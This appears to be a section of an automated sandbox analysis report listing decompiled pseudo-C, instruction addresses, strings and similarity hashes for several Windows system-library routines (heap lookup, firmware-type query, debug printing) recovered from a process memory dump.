				void* _t27;
				void* _t28;
				unsigned int _t30;
				intOrPtr* _t31;
				unsigned int _t38;
				void* _t39;
				unsigned int _t40;

				_t40 = __edx;
				_t39 = _t28;
				if( *0x1368748 >= 1) {
					__eflags = (__edx + 0x00000fff & 0xfffff000) - __edx;
					if((__edx + 0x00000fff & 0xfffff000) != __edx) {
						_t18 =  *[fs:0x30];
						__eflags =  *(_t18 + 0xc);
						if( *(_t18 + 0xc) == 0) {
							_push("HEAP: ");
							E0127B150();
						} else {
							E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)");
						E0127B150();
						__eflags =  *0x1367bc8;
						if(__eflags == 0) {
							E01332073(_t27, 1, _t39, __eflags);
						}
					}
				}
				_t38 =  *(_t39 + 0xb8);
				if(_t38 != 0) {
					_t13 = _t40 >> 0xc;
					__eflags = _t13;
					while(1) {
						__eflags = _t13 -  *((intOrPtr*)(_t38 + 4));
						if(_t13 <  *((intOrPtr*)(_t38 + 4))) {
							break;
						}
						_t30 =  *_t38;
						__eflags = _t30;
						if(_t30 != 0) {
							_t38 = _t30;
							continue;
						}
						_t13 =  *((intOrPtr*)(_t38 + 4)) - 1;
						__eflags =  *((intOrPtr*)(_t38 + 4)) - 1;
						break;
					}
					return E0129AB40(_t39, _t38, 0, _t13, _t40);
				} else {
					_t31 = _t39 + 0x8c;
					_t16 =  *_t31;
					while(_t31 != _t16) {
						__eflags =  *((intOrPtr*)(_t16 + 0x14)) - _t40;
						if( *((intOrPtr*)(_t16 + 0x14)) >= _t40) {
							return _t16;
						}
						_t16 =  *_t16;
					}
					return _t31;
				}
			}

0x0129b8f0
0x0129b8f2
0x0129b8f4
0x012e2c4e
0x012e2c50
0x012e2c56
0x012e2c5c
0x012e2c60
0x012e2c7f
0x012e2c84
0x012e2c62
0x012e2c77
0x012e2c7c
0x012e2c8a
0x012e2c8f
0x012e2c94
0x012e2c9c
0x012e2ca5
0x012e2ca5
0x012e2c9c
0x012e2c50
0x0129b8fa
0x0129b902
0x0129b921
0x0129b921
0x0129b924
0x0129b924
0x0129b927
0x00000000
0x00000000
0x0129b929
0x0129b92b
0x0129b92d
0x0129b940
0x00000000
0x0129b940
0x0129b932
0x0129b932
0x00000000
0x0129b932
0x00000000
0x0129b904
0x0129b904
0x0129b90a
0x0129b90c
0x0129b916
0x0129b919
0x0129b915
0x0129b915
0x0129b91b
0x0129b91b
0x00000000
0x0129b910

Strings

(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 012E2C8A
HEAP: , xrefs: 012E2C7F
HEAP[%wZ]: , xrefs: 012E2C72

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-2558761708
Opcode ID: 45d2192ec2086b1d0d9f0010440afb1aa2fac7465a77dbd53743b20d01ca8b7d
Instruction ID: ff9dc0c1aec95d5b9b9ef325ff4a5113d92d5c96bb49fce54d109a66f49c7e3a
Opcode Fuzzy Hash: 45d2192ec2086b1d0d9f0010440afb1aa2fac7465a77dbd53743b20d01ca8b7d
Instruction Fuzzy Hash: 4E11E2313342029FEF29DB2DE499F36B7A9FF50624F15806DE54ACB251E670D880CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0133E539, Relevance: 2.8, Strings: 2, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E0133E539(unsigned int* __ecx, intOrPtr __edx, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				unsigned int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				char _t87;
				signed int _t90;
				signed int _t94;
				signed int _t100;
				intOrPtr* _t113;
				signed int _t122;
				void* _t132;
				void* _t135;
				signed int _t139;
				signed int* _t141;
				signed int _t146;
				signed int _t147;
				void* _t153;
				signed int _t155;
				signed int _t159;
				char _t166;
				void* _t172;
				void* _t176;
				signed int _t177;
				intOrPtr* _t179;

				_t179 = __ecx;
				_v48 = __edx;
				_v68 = 0;
				_v72 = 0;
				_push(__ecx[1]);
				_push( *__ecx);
				_push(0);
				_t153 = 0x14;
				_t135 = _t153;
				_t132 = E0133BBBB(_t135, _t153);
				if(_t132 == 0) {
					_t166 = _v68;
					goto L43;
				} else {
					_t155 = 0;
					_v52 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v56 = __ecx[1];
					if( *__ecx >> 8 < 2) {
						_t155 = 1;
						_v52 = 1;
					}
					_t139 = _a4;
					_t87 = (_t155 << 0xc) + _t139;
					_v60 = _t87;
					if(_t87 < _t139) {
						L11:
						_t166 = _v68;
						L12:
						if(_t132 != 0) {
							E0133BCD2(_t132,  *_t179,  *((intOrPtr*)(_t179 + 4)));
						}
						L43:
						if(_v72 != 0) {
							_push( *((intOrPtr*)(_t179 + 4)));
							_push( *_t179);
							_push(0x8000);
							E0133AFDE( &_v72,  &_v60);
						}
						L46:
						return _t166;
					}
					_t90 =  *(_t179 + 0xc) & 0x40000000;
					asm("sbb edi, edi");
					_t172 = ( ~_t90 & 0x0000003c) + 4;
					if(_t90 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v44);
						_push(3);
						_push(_t179);
						_push(0xffffffff);
						if(E012B9730() < 0 || (_v40 & 0x00000060) == 0 || _v44 != _t179) {
							_push(_t139);
							E0133A80D(_t179, 1, _v40, 0);
							_t172 = 4;
						}
					}
					_t141 =  &_v72;
					if(E0133A854(_t141,  &_v60, 0, 0x2000, _t172, _t179,  *_t179,  *((intOrPtr*)(_t179 + 4))) >= 0) {
						_v64 = _a4;
						_t94 =  *(_t179 + 0xc) & 0x40000000;
						asm("sbb edi, edi");
						_t176 = ( ~_t94 & 0x0000003c) + 4;
						if(_t94 != 0) {
							_push(0);
							_push(0x14);
							_push( &_v24);
							_push(3);
							_push(_t179);
							_push(0xffffffff);
							if(E012B9730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t179) {
								_push(_t141);
								E0133A80D(_t179, 1, _v20, 0);
								_t176 = 4;
							}
						}
						if(E0133A854( &_v72,  &_v64, 0, 0x1000, _t176, 0,  *_t179,  *((intOrPtr*)(_t179 + 4))) < 0) {
							goto L11;
						} else {
							_t177 = _v64;
							 *((intOrPtr*)(_t132 + 0xc)) = _v72;
							_t100 = _v52 + _v52;
							_t146 =  *(_t132 + 0x10) & 0x00000ffd | _t177 & 0xfffff000 | _t100;
							 *(_t132 + 0x10) = _t146;
							asm("bsf eax, [esp+0x18]");
							_v52 = _t100;
							 *(_t132 + 0x10) = (_t100 << 0x00000002 ^ _t146) & 0x000000fc ^ _t146;
							 *((short*)(_t132 + 0xc)) = _t177 - _v48;
							_t47 =  &_a8;
							 *_t47 = _a8 & 0x00000001;
							if( *_t47 == 0) {
								E01292280(_t179 + 0x30, _t179 + 0x30);
							}
							_t147 =  *(_t179 + 0x34);
							_t159 =  *(_t179 + 0x38) & 1;
							_v68 = 0;
							if(_t147 == 0) {
								L35:
								E0128B090(_t179 + 0x34, _t147, _v68, _t132);
								if(_a8 == 0) {
									E0128FFB0(_t132, _t177, _t179 + 0x30);
								}
								asm("lock xadd [eax], ecx");
								asm("lock xadd [eax], edx");
								_t132 = 0;
								_v72 = _v72 & 0;
								_v68 = _v72;
								if(E01297D50() == 0) {
									_t113 = 0x7ffe0388;
								} else {
									_t177 = _v64;
									_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
								}
								if( *_t113 == _t132) {
									_t166 = _v68;
									goto L46;
								} else {
									_t166 = _v68;
									E0132FEC0(_t132, _t179, _t166, _t177 + 0x1000);
									goto L12;
								}
							} else {
								L23:
								while(1) {
									if(_v72 < ( *(_t147 + 0xc) & 0xffff0000)) {
										_t122 =  *_t147;
										if(_t159 == 0) {
											L32:
											if(_t122 == 0) {
												L34:
												_v68 = 0;
												goto L35;
											}
											L33:
											_t147 = _t122;
											continue;
										}
										if(_t122 == 0) {
											goto L34;
										}
										_t122 = _t122 ^ _t147;
										goto L32;
									}
									_t122 =  *(_t147 + 4);
									if(_t159 == 0) {
										L27:
										if(_t122 != 0) {
											goto L33;
										}
										L28:
										_v68 = 1;
										goto L35;
									}
									if(_t122 == 0) {
										goto L28;
									}
									_t122 = _t122 ^ _t147;
									goto L27;
								}
							}
						}
					}
					_v72 = _v72 & 0x00000000;
					goto L11;
				}
			}

0x0133e547
0x0133e549
0x0133e54f
0x0133e553
0x0133e557
0x0133e55a
0x0133e55c
0x0133e55f
0x0133e561
0x0133e567
0x0133e56b
0x0133e7e2
0x00000000
0x0133e571
0x0133e575
0x0133e577
0x0133e57b
0x0133e57c
0x0133e57d
0x0133e57e
0x0133e57f
0x0133e588
0x0133e58f
0x0133e591
0x0133e592
0x0133e592
0x0133e596
0x0133e59e
0x0133e5a0
0x0133e5a6
0x0133e61d
0x0133e61d
0x0133e621
0x0133e623
0x0133e630
0x0133e630
0x0133e7e6
0x0133e7eb
0x0133e7ed
0x0133e7f4
0x0133e7fa
0x0133e7ff
0x0133e7ff
0x0133e80a
0x0133e812
0x0133e812
0x0133e5ab
0x0133e5b4
0x0133e5b9
0x0133e5be
0x0133e5c0
0x0133e5c2
0x0133e5c8
0x0133e5c9
0x0133e5cb
0x0133e5cc
0x0133e5d5
0x0133e5e4
0x0133e5f1
0x0133e5f8
0x0133e5f8
0x0133e5d5
0x0133e602
0x0133e616
0x0133e63d
0x0133e644
0x0133e64d
0x0133e652
0x0133e657
0x0133e659
0x0133e65b
0x0133e661
0x0133e662
0x0133e664
0x0133e665
0x0133e66e
0x0133e67d
0x0133e68a
0x0133e691
0x0133e691
0x0133e66e
0x0133e6b0
0x00000000
0x0133e6b6
0x0133e6bd
0x0133e6c7
0x0133e6d7
0x0133e6d9
0x0133e6db
0x0133e6de
0x0133e6e3
0x0133e6f3
0x0133e6fc
0x0133e700
0x0133e700
0x0133e704
0x0133e70a
0x0133e70a
0x0133e713
0x0133e716
0x0133e719
0x0133e720
0x0133e761
0x0133e76b
0x0133e774
0x0133e77a
0x0133e77a
0x0133e78a
0x0133e791
0x0133e799
0x0133e79b
0x0133e79f
0x0133e7aa
0x0133e7c0
0x0133e7ac
0x0133e7b2
0x0133e7b9
0x0133e7b9
0x0133e7c7
0x0133e806
0x00000000
0x0133e7c9
0x0133e7d1
0x0133e7d8
0x00000000
0x0133e7d8
0x00000000
0x00000000
0x0133e722
0x0133e72e
0x0133e748
0x0133e74c
0x0133e754
0x0133e756
0x0133e75c
0x0133e75c
0x00000000
0x0133e75c
0x0133e758
0x0133e758
0x00000000
0x0133e758
0x0133e750
0x00000000
0x00000000
0x0133e752
0x00000000
0x0133e752
0x0133e730
0x0133e735
0x0133e73d
0x0133e73f
0x00000000
0x00000000
0x0133e741
0x0133e741
0x00000000
0x0133e741
0x0133e739
0x00000000
0x00000000
0x0133e73b
0x00000000
0x0133e73b
0x0133e722
0x0133e720
0x0133e6b0
0x0133e618
0x00000000
0x0133e618

Strings

`, xrefs: 0133E670
`, xrefs: 0133E5D7

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction ID: 70660f1fac7f1dbe3eaf8f98182252ef41341c909775b292691cb3d5ee7ebdfe
Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction Fuzzy Hash: DF91AF316043429FE725CE29C840B6BBBE5AFC4728F14893DF6A5CB290E774E804CB56

Uniqueness

Uniqueness Score: -1.00%

Function 012F51BE, Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E012F51BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x13505f0);
				E012CD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E0128EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E012F53CA(0);
						return E012CD130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E012BF3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E01293690(1, _t117, 0x1251810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E012BAA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L01294620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E012BAA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E012F500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E012B9860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x012f51be
0x012f51c3
0x012f51c8
0x012f51cd
0x012f51d0
0x012f51d3
0x012f51d8
0x012f51db
0x012f51de
0x012f51e0
0x012f51e3
0x012f51e6
0x012f51e8
0x012f5342
0x012f5351
0x012f5356
0x012f535a
0x012f5360
0x012f5363
0x012f5366
0x012f5369
0x012f5369
0x012f536b
0x012f536b
0x012f5370
0x012f53a3
0x012f53a4
0x012f53a6
0x012f53ab
0x012f53ab
0x012f53ae
0x012f53ae
0x012f53b5
0x012f53bf
0x012f53bf
0x012f5375
0x012f5396
0x012f53a0
0x012f53a0
0x00000000
0x012f5396
0x012f5377
0x012f5379
0x012f537f
0x012f538c
0x012f5390
0x00000000
0x012f5390
0x012f51ee
0x012f51f1
0x012f5301
0x012f5310
0x012f5315
0x012f5318
0x012f531b
0x012f5320
0x012f532e
0x012f5331
0x00000000
0x012f5331
0x012f5328
0x012f5329
0x00000000
0x012f5329
0x012f51fa
0x012f5235
0x012f5236
0x012f5239
0x012f523f
0x012f5240
0x012f5241
0x012f5242
0x012f5246
0x012f5247
0x012f524e
0x012f5251
0x012f5267
0x012f5269
0x012f526e
0x012f527d
0x012f527e
0x012f5281
0x012f5282
0x012f5287
0x012f5288
0x012f528a
0x012f528f
0x012f5294
0x00000000
0x00000000
0x012f529a
0x012f529c
0x012f529e
0x012f529e
0x012f52a4
0x012f52b0
0x00000000
0x00000000
0x012f52ba
0x012f52bc
0x012f52bc
0x012f52d4
0x012f52d9
0x012f52dc
0x012f52e1
0x00000000
0x00000000
0x012f52e7
0x012f52f4
0x00000000
0x012f52f4
0x012f5270
0x00000000
0x012f5270
0x012f51fc
0x012f51fd
0x012f5202
0x012f5203
0x012f5205
0x012f520a
0x012f520f
0x00000000
0x00000000
0x012f521b
0x012f5226
0x012f522b
0x012f521d
0x012f521d
0x012f5222
0x012f5222
0x012f522d
0x00000000

Strings

Legacy, xrefs: 012F5226
UEFI, xrefs: 012F521D

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: c7de54e13d694ad7cbace5f500fb41a80547f5c118e8621b4999aad169fdd8d9
Instruction ID: dbf877e5e82091b553397c5bc10ae2bc36fe24af5ec76313e40b7c980f357ae6
Opcode Fuzzy Hash: c7de54e13d694ad7cbace5f500fb41a80547f5c118e8621b4999aad169fdd8d9
Instruction Fuzzy Hash: 92515BB5A206099FDB25DFA8C990AAEFBF8FF48700F14412DEB49EB251D6719940CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0127B171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0127B171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x134f7a8);
				E012CD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E012CD130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E012BD000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E012BF3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L012CDEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E012BB280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E012BB7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E012BE2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E012BA890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x0127b171
0x0127b171
0x0127b171
0x0127b171
0x0127b171
0x0127b176
0x0127b17b
0x0127b180
0x0127b186
0x0127b18f
0x0127b198
0x0127b1a4
0x0127b1aa
0x012d4802
0x012d4802
0x012d4805
0x012d480c
0x012d480e
0x0127b1d1
0x0127b1d3
0x0127b1de
0x0127b1de
0x012d4817
0x012d481e
0x012d4820
0x012d4822
0x012d4822
0x012d4824
0x012d4824
0x012d482a
0x00000000
0x00000000
0x012d4835
0x012d483a
0x012d483d
0x012d483f
0x012d4842
0x012d4842
0x012d4842
0x012d4846
0x012d484c
0x012d484e
0x012d4851
0x012d4851
0x012d4853
0x012d4854
0x012d4854
0x012d4858
0x012d485a
0x012d485a
0x012d485d
0x012d485f
0x012d4861
0x012d4861
0x012d4866
0x012d486b
0x012d486e
0x012d4871
0x012d4876
0x012d4876
0x012d4878
0x012d487b
0x012d4884
0x012d4884
0x00000000
0x012d487d
0x012d487d
0x012d4882
0x012d4889
0x012d4889
0x012d488f
0x012d4891
0x012d48e0
0x012d48e2
0x012d48e4
0x012d48e4
0x012d48e7
0x012d48e7
0x012d48ed
0x012d48f4
0x012d48f6
0x012d4951
0x012d4951
0x012d4953
0x012d4953
0x012d4956
0x012d4956
0x012d4958
0x012d4959
0x012d4959
0x012d495d
0x012d495d
0x012d495f
0x012d495f
0x012d4965
0x012d4969
0x012d49ba
0x012d49ba
0x012d49c1
0x012d49c5
0x012d49cc
0x012d49d4
0x012d49d7
0x012d49da
0x012d49e4
0x012d49e5
0x012d49f3
0x012d4a02
0x00000000
0x012d4a02
0x012d4972
0x012d4974
0x00000000
0x00000000
0x012d4976
0x012d4979
0x012d4982
0x012d4983
0x012d4984
0x012d498b
0x012d498d
0x012d4991
0x012d4993
0x012d4999
0x012d499d
0x012d49a2
0x012d49a2
0x012d49a2
0x012d4999
0x012d49ac
0x00000000
0x012d49b3
0x012d48f8
0x012d48fe
0x00000000
0x00000000
0x00000000
0x012d48fe
0x012d4895
0x012d489c
0x012d48ad
0x012d48b2
0x012d48b5
0x012d48b7
0x012d48ba
0x012d48bc
0x012d48c6
0x012d48c6
0x012d48cb
0x012d48d1
0x012d48d4
0x012d48d8
0x012d48d8
0x00000000
0x012d48d8
0x012d48be
0x012d48c0
0x00000000
0x00000000
0x012d48c2
0x00000000
0x00000000
0x00000000
0x012d48c4
0x00000000
0x012d4882
0x012d487b
0x012d4904
0x012d4906
0x00000000
0x00000000
0x012d4908
0x012d490e
0x00000000
0x00000000
0x012d4910
0x012d4917
0x012d4917
0x00000000
0x012d4917
0x0127b1ba
0x012d47f9
0x012d47fc
0x00000000
0x00000000
0x00000000
0x012d47fc
0x0127b1c0
0x0127b1c0
0x0127b1c3
0x0127b1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 012D48AD

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: 5e7a9670f586cd056ac08b89f7020abfd791f59a14d48206a2e195726fa962d1
Instruction ID: c9dd36cdad3954639f99a9af16e1bef8acc22b7da3ec02f00f7fd4b6e49397d8
